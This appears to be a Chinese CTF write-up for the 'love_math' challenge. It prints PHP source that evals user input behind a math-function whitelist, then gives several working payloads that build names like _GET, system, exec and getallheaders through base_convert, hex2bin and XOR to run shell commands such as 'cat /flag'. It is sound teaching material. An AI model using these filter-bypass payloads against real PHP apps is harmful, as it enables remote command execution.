news 2026/6/13 1:15:43

[CTF]攻防世界:love_math

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CTF]攻防世界:love_math

题目:[CTF]攻防世界:love_math

学习点:php的动态函数、默认函数名使用

<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}

给出源代码,让你构造出方法来拿到flag,看到白名单和黑名单及字符80长度限制。


步骤

1、长度太短,考虑用**$_GET[x]**。

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

[ ] 方括号被过滤,可以用{}尖括号代替。但是GET必须大写。

其中源代码中白名单函数可以利用的应该是base_convert函数,可以进行进制转换。

2、接下来考虑构造出$_GET[x]

现有:dechex (十进制转16进制) 还需要一个 16进制转ascii (hex2bin
通过base_convert十进制到36进制转换,得到hex2bin

总的payload:http://61.147.171.35:65356/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
解释:

  1. base_convert(37907361743,10,36) => “hex2bin”
  2. dechex(1598506324) => “5f474554” => hex2bin(5f474554) => _GET
  3. $pi=_GET;
  4. ($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]

ascii 转 16

16进制转10


3、执行命令拿到flag


其实还有许多中方法,以下参考学习:

1、

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echo xx,yy

2、

//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system('cat'.dechex(16)^asinh^pi) => system('cat *')base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

3、fuzz

<?php $payload=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','bindec','ceil','cos','cosh','decbin','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];for($k=1;$k<=sizeof($payload);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$payload[$k]^$i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo"<br />";}}}http://XXX/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 6:44:21

7天精通nanomsg核心API:从零搭建高性能分布式系统

7天精通nanomsg核心API&#xff1a;从零搭建高性能分布式系统 【免费下载链接】nanomsg nanomsg library 项目地址: https://gitcode.com/gh_mirrors/na/nanomsg nanomsg是一个轻量级、高性能的消息传递库&#xff0c;专为构建可扩展的分布式系统而设计。该项目基于可扩…

作者头像 李华
网站建设 2026/6/12 9:04:33

移动应用UI自动化测试性能调优实战:从响应时间到基准体系

移动应用UI自动化测试性能调优实战&#xff1a;从响应时间到基准体系 【免费下载链接】maestro Painless Mobile UI Automation 项目地址: https://gitcode.com/gh_mirrors/ma/maestro 在现代移动应用开发中&#xff0c;UI自动化测试已成为质量保证的关键环节。然而&…

作者头像 李华
网站建设 2026/6/12 12:34:13

终极指南:MELD多模态情感对话识别框架

终极指南&#xff1a;MELD多模态情感对话识别框架 【免费下载链接】MELD MELD: A Multimodal Multi-Party Dataset for Emotion Recognition in Conversation 项目地址: https://gitcode.com/gh_mirrors/mel/MELD 在多模态人工智能快速发展的今天&#xff0c;MELD框架为…

作者头像 李华
网站建设 2026/6/12 13:28:51

Unshaky:解决MacBook蝴蝶键盘双击问题的终极方案

Unshaky&#xff1a;解决MacBook蝴蝶键盘双击问题的终极方案 【免费下载链接】Unshaky A software attempt to address the "double key press" issue on Apples butterfly keyboard [not actively maintained] 项目地址: https://gitcode.com/gh_mirrors/un/Unsha…

作者头像 李华
网站建设 2026/6/12 13:35:07

在微信个人号开发中,如何进行API接口二次开发?

您是否正被复杂的微信开放平台 API 拖慢脚步&#xff1f; 您是否在基础配置、Token 管理、签名校验等“基础设施”上耗费了太多宝贵的开发时间&#xff1f; 现在&#xff0c;是时候终结低效了&#xff01; 隆重推出 GeWe 框架——基于微信开放平台 API 的企业级高性能二次封…

作者头像 李华